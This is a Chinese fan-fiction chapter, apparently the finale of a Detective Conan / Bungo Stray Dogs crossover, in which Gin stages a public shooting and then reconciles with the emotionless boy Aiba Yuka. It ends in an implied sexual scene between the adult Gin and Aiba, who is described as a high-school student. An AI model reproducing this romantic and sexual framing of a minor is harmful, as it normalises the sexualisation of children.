相叶佑禾只好用热毛巾把脸捂得红红的,戴上口罩,躺在床上,假装不舒服。 “佑禾,你怎麽样?身体还好吗?”毛利兰等人来到琴酒的住宅,担忧地问。 “嗯,还好。”失去感情后,连病怏怏的声音他都没办法模仿出来了。 就算放低了音量,语调也依旧死板没什麽起伏。 众人一愣,少年大半张脸被口罩遮住,翠绿色的眼睛因为不舒服变得湿漉漉的,可却不似从前那般生机勃勃,他看向别人时,仿佛看透了人心淡漠得没有一丝波澜。 这变化实在太大了。 “佑禾,你的身体……”毛利兰犹犹豫豫地问着。 相叶佑禾一眼就看出了少女在担心什麽,解释道:“不是你想的那样,我只是最近身体不舒服,没有绝症,不出意外还能活几十年。” 毛利兰和铃木园子等人松了一口气。 吓她们一跳。 “哎呀,屋里怎麽没水!”江户川柯南做作的说,毛利兰听到后,果然主动出去倒水了,铃木园子陪着一起去。 两人离开后,江户川柯南义愤填膺地骂:“琴酒那个家夥,果然把你藏在了他的住处!” 他把佑禾当成什麽了?小宠物吗! 因为喜欢就把人囚困在屋子里,让他不能上学不能和朋友见面,失去自由,如果不是相叶佑禾出问题了是不是就要这样一直关着他! 藏? 准确来说是相叶佑禾不知道怎麽面对朋友们,干脆换了个住址以免他们找上家门。 他正准备解释,那边的江户川柯南凑过来拉着他的手检查了几遍:“佑禾,那个男人对你做了些什麽?你没事吧?” 相叶佑禾:“我没事。” “骗人!你都变成这样了还说没事!”江户川柯南痛心疾首,他不知道自己好好一个可爱温和的朋友怎麽变成了如今这副无心无情、无欲无求的模样,这明显是被伤透了心! 琴酒那家夥还说闹矛盾,什麽程度的矛盾能闹成这样! “相叶哥哥,离开琴酒吧!” 他才不会帮琴酒那混蛋做说客! 相叶佑禾想也不想的拒绝:“不行。” 他们才刚交往没几天,正处于热恋期,虽然失去情感的他让热恋期变得过于平淡,可琴酒又没犯什麽错误,他为什麽要分手。 更何况他之前才答应了琴酒,他们不会分开。 “为什麽?你是担心他不会放过你吗?”江户川柯南抓住相叶佑禾的手,满脸坚定:“实话告诉你吧佑禾,我其实是工藤新一,你别不信,我……” 江户川柯南讲了一段相叶佑禾早就知道的过往,他很想装出惊讶的模样,可实在是做不出来。 江户川柯南说完,看了眼无动于衷的相叶佑禾:“你果然不信吗?” 相叶佑禾:“我信。” 江户川柯南狐疑地看了他一眼,对上那双平静无波的眼睛,说:“你果然不信!佑禾,你信我,我们小时候第一次见面是……” 为什麽要为难他这个没有感情的人? 相叶佑禾听着男孩手舞足蹈地说出一大堆只有他们才知道的事,面无表情道:“我真的信你,因为我早就知道了。” 江户川柯南:“?” “什麽时候?” 相叶佑禾:“你用麻醉针射我的那次。” 江户川柯南:“……” “啊哈哈……抱歉啊……什麽!居然这麽早就知道了吗?!” 其实还更早。 相叶佑禾漫不经心地点了点头。 江户川柯南很想吐槽,可现在有更重要的事,他瞪了一眼相叶佑禾,继续道:“那就好,所以你不用怕,我会尽我所能的保护你,让你逃离琴酒的魔爪。” 只要相叶佑禾配合,他们就能保护好他。 相叶佑禾摇头:“不用了柯南。” 江户川柯南以为他不相信自己:“佑禾,虽然我自己也还没找到解药解决变小的问题,可是你相信我,我一定会保护好你的,我有FBI和公安的朋友,有他们帮忙,你一定会很安全的。” 他无法想象琴酒对相叶佑禾做了什麽才让人变成如今这副模样,但相叶佑禾这段时间一定过得很苦。 “谢谢你柯南。”相叶佑禾说:“但很抱歉,我不打算离开他。” 江户川柯南是真心为他着想,相叶佑禾也不想他继续误会下去,解释道:“他其实很好的。” 谁?谁很好?!谁?!!! 江户川柯南一脸惊悚。 相叶佑禾改了下措辞:“他对我其实很好的。没有做什麽伤害我的事。” “……” 江户川柯南一脸绝望,差点忘了,相叶佑禾也是个恋爱脑。 “他都这样对你了!你还不觉得他对你好吗!” “什麽什麽?谁!谁对佑禾怎麽样了?!”走到门口的铃木园子气势汹汹地问。 “琴……黑泽老师。”江户川柯南回答。 铃木园子一巴掌拍在桌子上:“我就知道!我一看佑禾这样子就是受了情伤!佑禾,你别怕,他对你做了什麽你说出来,我们帮你教训他!对吧兰?” 毛利兰点头:“没错,佑禾你尽管说,我绝对不会原谅伤害你的人!” 哪怕对手是她打不过的琴酒,哪怕工藤新一连自己的问题都还没解决、铃木园子很多时候会害怕琴酒,可在看到相叶佑禾的变化后,依旧生气的大骂琴酒要帮他揍琴酒一顿。 从以前,相叶佑禾就觉得人类是愚蠢又很有趣的生物,他会不自觉的把目光放在他们身上,观察他们,分析他们,到后来想要体会他们的情感…… 工藤新一等人叽叽喳喳地围着相叶佑禾说了很多,可相叶佑禾竟然一点也不觉得他们吵。 他心中有一种说不清道不明的异样感,如同被什麽东西轻轻扫过,痒痒的。 好吧,相叶佑禾打消了原本想要质问琴酒为什麽多此一举的念头—— 除了江户川柯南,降谷零诸伏景光,萩原研二松田阵平也都来过,相叶佑禾的时间基本被这些人给挤满了。 他从一开始的不知道怎麽面对从前的人,到如今能不扮演生病和他们聊天了。 他们并没有追问相叶佑禾变成如今这副模样的原因,只是更加关心照顾他。 至于为什麽?他们似乎把责任都归到了琴酒身上。 一切都是琴酒的错。 相叶佑禾觉得他这个时候应该是愧疚的,他也对朋友们解释了很多次,可大家都一副‘你别说了我们都知道’、‘你闭嘴我不想听你说这些话’的样子。 于是,相叶佑禾觉得他更应该弥补琴酒了。 他们这两天都很忙,琴酒忙着处理组织的事,相叶佑禾忙着向朋友们解释琴酒没有对他做过分的事。 所以见面的时间变得很少,完全没有以前那麽粘糊了。 他给琴酒发了条短信:【想吃你做的蛋糕。】 他其实并不想吃,封印消失后他还是头一次想起草莓蛋糕这种东西。 他只是想起那个生日蛋糕,他当时很遗憾那不是琴酒做的。 一起去做蛋糕……听起来更像是热恋期会做的事。 相叶佑禾补充道:【我们一起做怎麽样?】 米花町喧闹的街道上,银发男人站在街边,单手插在兜里,看着远方正在一边打打闹闹,一边往这边靠的两道身影。 “大哥,安排的人都已经准备好了。”伏特加有些犹豫:“我们真的要这麽做吗?” 今天的任务,是在大庭广众之下击杀一个橘发少年。 当街杀人没问题,他们又不是没有做过,可是当着这麽多人的面,让几十号组织成员同时朝那个少年开枪,并且不顾街上的人群,是不是太疯狂了一些? 不是一些,伏特加觉得他大哥是真的疯了,一定是跟相叶佑禾闹矛盾被刺激到了,否则怎麽会做出这种失智的行为? “嗯,照计划进行。”琴酒头也不抬地说着,点开手机,目光停留在相叶佑禾发来的短信上,良久,他勾了勾唇。 回复道:【好。】 他抬起头,看向愈发靠近的少年,薄唇轻启:“可以开始了。” “砰——” 无数子弹齐齐飞出。 正在让太宰治滚远点不要烦他的中原中也第一时间察觉到危险,他微微抬眸,从四面八方同时飞来的子弹被红光包裹,同时定在原地。 “那、那是什麽?!”手枪并没有装消音器,被开枪声吓到的人们还处于懵逼状态,谁知一抬头发现许多子弹漂浮在空中。 尖叫声此起彼伏的响起,中原中也‘啧’了一声。 他抬头,犀利的目光越过人群锁定在银发男人身上,眉眼冰冷地问:“你这是什麽意思?” 琴酒勾了勾唇:“我不需要向一个矮、子解释这麽多。” “你说什麽?!”中原中也眉眼一沉,浑身泛着红光。 已经被人看到了异能力,再隐藏下去也没什麽必要了,更何况,子弹接踵而来,完全没有给他不使用异能力的机会。 太宰治看向那个面对重力使,眉眼中也依旧没有丝毫惧怕之色的银发男人,笑容颇深。 明明已经达目的了,却还是不满足吗? 真是个贪心的男人啊—— “黑泽阵,你在做什麽!”相叶佑禾赶到时,事态已经变得不可控制了。 几架直升机在天上盘旋,周围围满了武装人员,他们神情严肃,握紧武器一眨不眨地盯着最中心的人,额头上甚至冒出一层层细汗。 相叶佑禾并不是在责怪琴酒引发了这麽大的场面,这个男人不会做让他为难的事。中原中也既然动用了异能力,那些普通人便绝对不可能有事,会出事的只会是他带来的组织成员,以及……他本人。 银发男人靠在墙边,衣服上沾了些灰尘,胳膊和腰间的布料被溢出的血浸湿,鲜红的液体顺着衣角一滴一滴的滴落在地上。 上次还没好的伤口全都裂开了。 相叶佑禾走向琴酒,周围的人想要拦住他,但在少年眸中闪过一丝蓝色光芒后,全定在了原地。 摄像头和电器等等全部摧毁,只留下少许灯光照明。 中原中也坐在墙头,原本想和相叶佑禾说话的,看到这副场景后又闭上了嘴。 他看向太宰治,眸中闪过几丝担忧:真的没问题吗? 太宰治勾了勾唇,没说话。 四周陷入一片寂静,只有少年走向男人时发出的脚步声。 他盯着那些血珠落下,最后将目光放在琴酒的脸上。 “你的伤口裂开了。” 相叶佑禾一眨不眨,一字一句道:“我为你换药重新包扎的伤口裂开了。” 琴酒似乎并不在意,他直勾勾地看向相叶佑禾:“你在生气?” 相叶佑禾愣了一下。 “不,只是不赞同你的行为。” 琴酒嗤笑一声,还是一样的嘴硬。 相叶佑禾不理解:“为什麽要为我做到这种地步?” 琴酒做这件事的目的很简单,他要让异能者暴露在众人视野里,让政府做出行动,将异能者送回横滨,并进行约束。 他并不是在针对中原中也几人,相叶佑禾因为超越者的身份可以留在米花町,中原中也等人也不会强迫他,可是其他人呢? 只要他在,无论是有求于他、还是对他感兴趣,想要利用他的人都会源源不断的偷偷来到米花町。 琴酒说:“给你你想要的生活。” 相叶佑禾可以解决掉那些异能者,可是依旧不能避免他们出现在自己面前。 所以琴酒要从根源上杜绝,哪怕他很有可能被怒气上头的重力使杀掉。 相叶佑禾嘴唇动了动。 说实话,他早就放弃了曾经那个偏执的愿望。 越想得到什麽就越得不到什麽,就算他再怎麽隐藏,异能者的身份也是无法改变的,他就是会被卷入源源不断的麻烦中。 可是他没想到,他早就放弃的愿望,琴酒居然还在替他坚持。 明明现在这样子更有利于他们相处不是吗? 就像相叶佑禾身边那群朋友,琴酒明知道他们一定会阻止两人在一起,却还是让他们去找他了。 “我知道很多相爱的人会为对方付出生命,可是我现在……你应该知道理智不会让我做出和你一样的选择,你得不到我付出和你同等价值的东西,你为什麽还要这麽做?”相叶佑禾觉得有什麽东西在变得不一样,他似乎没有之前那麽冷静:“你对我的感情这麽深吗?” 哪里不一样了?相叶佑禾分明就和以前一模一样。 嘴硬,还爱说一堆乱七八糟的废话。 琴酒走到他面前:“那你呢?你之前为什麽冒着会暴露、被我杀死的风险来找我?你当时想过会得到什麽吗?” 相叶佑禾心一颤,一时说不出话来。 他努力地去感受当时的心情。 中原中也臭着的脸突然变得牙酸起来。 太宰治倒是看得津津有味。 没有感情的相叶佑禾比涩泽龙彦更加危险,谁也不知道他会不会因为一个‘神明’的念头而做出什麽带来可怕的灾难。 而被相叶佑禾认为是恋人的琴酒,就是牵制住相叶佑禾的绳子。 琴酒今天的行为是在逼迫政府选择,选择将异能者送回去,并更加严格管控他们出行在横滨以外的地方。还是毁了琴酒这条绳子。 想要试图通过琴酒来使用相叶佑禾能力的高层们,怎麽可能跟他反着干? 他们一定会满足琴酒的需求。 况且…… 琴酒不信他的佑禾会一直这样下去,他认为相叶佑禾拥有作为‘人’的感情。 “为什麽不想让你的朋友们看到你现在的样子,而主动休学不见面?” 不见面是怕他们为你担忧、怕吓到他们,休学是还留有和从前一样上学的希望。” 银发男人不依不饶:“明明感觉到不快乐,为什麽要努力配合我,想让我感到快乐?真的只是因为恋人的义务吗?” 相叶佑禾往后退了一步,琴酒跟上,抬手捧住他的脸:“你的心早已替你做出了选择,让你走向我,让你因为顾及朋友们的情绪而远离他们。 相叶佑禾,这些不都是你发自内心的感情吗?” 相叶佑禾被问得说不出口,他内心那早就被拂动的异样,在此刻像是一颗被种下的种子终于发芽,过去的经历成为养料,伴随着幼苗一起长成参天大树。 琴酒动作轻柔地拭去少年眼角那滴泪水,轻声道:“至于我,我的心也早就替我做出了选择。” 相叶佑禾吸了吸鼻子,他很生气,他很担心很害怕,也很开心,各种情绪交织在一起,眼泪便控制不住地涌出来。 他抓起琴酒胸前干净的布料在脸上胡乱擦拭着,连名带姓的喊:“黑泽阵,就算这样我也不会原谅你的!” 琴酒抬起他的脸,指腹从眼尾擦过最后停留在唇瓣上,问出这段时间以来相叶佑禾哄他时最常说的话:“那你要接吻吗?” 相叶佑禾:“……不接。”也不看看什麽场合!况且接吻也不会原谅他的! “啊啊啊受不了了!”太宰治突然跟身上有跳蚤似的跳来跳去。 “殉情殉情,我要去邀请美丽的小姐殉情!”他拍了拍相叶佑禾的肩膀:“收尾工作你自己负责!” 对于一溜烟跑没影的太宰治,两人十分无语,中原中也看了眼面前的小情侣,尴尬的摸了摸鼻子,还是对佑禾说道:“没关系,我帮你。” 中原中也用重力将现场清扫干净,相叶佑禾修改了现场人们的记忆,至于琴酒带来的黑衣组织成员,则是本来就要清除的人。 他毫不犹豫地扔给了公安。 既然相叶佑禾掌管了黑衣组织,组织的行事作风就不能再像从前那般了—— 将一切事情处理妥当后,相叶佑禾又恢复了曾经的平静生活,他们都没忘记做蛋糕的约定,闲下来后便找了家店走了进去。 两人进到店里便吸引了不少人的目光,原本吵闹的环境都变得安静了不少。 相叶佑禾看,看了眼牵着他的银发男人,忍不住嘀咕:“明明换了衣服怎麽还是这麽凶?” “要不要把发型再改一下?比如我之前扎的那个?” 琴酒暼了他一眼:“想看?” 相叶佑禾眼睛亮晶晶,琴酒话锋一转:“别想。” 相叶佑禾:“……呵。” 在店员把材料都给他们后,相叶佑禾跑过去选了条非常可爱的猫猫围裙给琴酒戴上。 “嗯嗯,虽然气势还是很锋利,但是没有那麽吓人了。”相叶佑禾满意地点了头:“可爱多了呢!” “不过要是再多加一点东西……”相叶佑禾给他换了个可爱的帽子,又把厨具放在他手里,初心已经从做蛋糕变成了装饰琴酒。 银发男人也不阻止,只是看着相叶佑禾的眼神变得意味深长起来。 “呜哇,好有爱啊!”从玻璃窗边路过的人注意到这一幕,小声尖叫。 “嗯?”萩原研二好奇地侧头,看到了前几天还因为琴酒都‘封闭自我’的相叶佑禾,正笑容灿烂的和琴酒黏黏糊糊腻腻歪歪。 萩原研二差点没晕过去。 半个小时后,相叶佑禾和琴酒坐在了一堆亲朋好友面前。 面对众人痛惜(?)的目光,相叶佑禾扯了下琴酒的衣角:“那个……我有事告诉你们。” 众人齐刷刷朝他看去,相叶佑禾咳嗽了两声:“我和黑泽阵在一起了。” 这种事还要郑重其事的出来说吗? 众人竟然完全不惊讶,只是叹了口气,然后露出一副劝了闺蜜很久,结果对方还是和渣男结婚了的表情。 唉!! 还能怎麽办呢?!只能想办法早日把琴酒送进局子里了! 但很可惜,他们完全不知道这件事最大的阻碍就是相叶佑禾。 相叶佑禾刚回到家,便收到了财务发来的短信。 “阿阵,你做什麽支出了两亿日元?” “之前从帝丹高中辞职了,这次捐了两亿进去。”琴酒说得轻巧,相叶佑禾听得目瞪口呆。 “你去帝丹高中做什麽?” 琴酒:“怎麽?不想见到我?” “不,可是等我放学回来我们不是也能见面吗?”钱是自己的之后,相叶佑禾就十分心痛了:“你为什麽要花两亿日元!这不是白给吗!!等等,还有两亿?伏特加……你把他也捎进去了?大傻春!你在做什麽!这些钱……” “相叶佑禾。”琴酒不想听这些乱七八糟的话,他脱下外套,抬起少年的下颚:“你之前不是很想接吻吗?” 相叶佑禾一顿,想到他之前一直追着琴酒问要不要接吻,脸不禁有些发烫。 琴酒勾了勾唇:“现在可以了。” 他俯身吻在少年的唇瓣上,唇齿交缠间,少年的眼睛逐渐迷离起来。 想到相叶佑禾面无表情的嗯嗯啊啊声,琴酒的唇辗转到少年腰间时,重重咬了一口。 相叶佑禾痛呼一声,骂道:“你是狗吗!” 可是因为动/情,他的声音软绵绵的,不仅没有威慑力,还成了某些东西的催化剂。 琴酒愉悦地眯了眯眼:“这样才对。” 什麽对不对的,相叶佑禾本能的感觉到了危险。 他抓住琴酒的头发,触碰到脑袋时,男人脑子里的东西进入了他脑海里。 想被烫到了一般,相叶佑禾迅速收回手,脸色瞬间涨红:“你、你都在想些什麽啊!” 琴酒挑了挑眉:“看到了?倒是省得一会教你。” 什麽意思? 相叶佑禾呆滞了一瞬:“你该不会要把那些姿势全都……” “没错。”他也该把这段时间缺失的连本带利讨回来,直到相叶佑禾真情实感地叫到喉咙哑了为止。 --正文完--【你现在阅读的是魔蝎小说 moxiexs】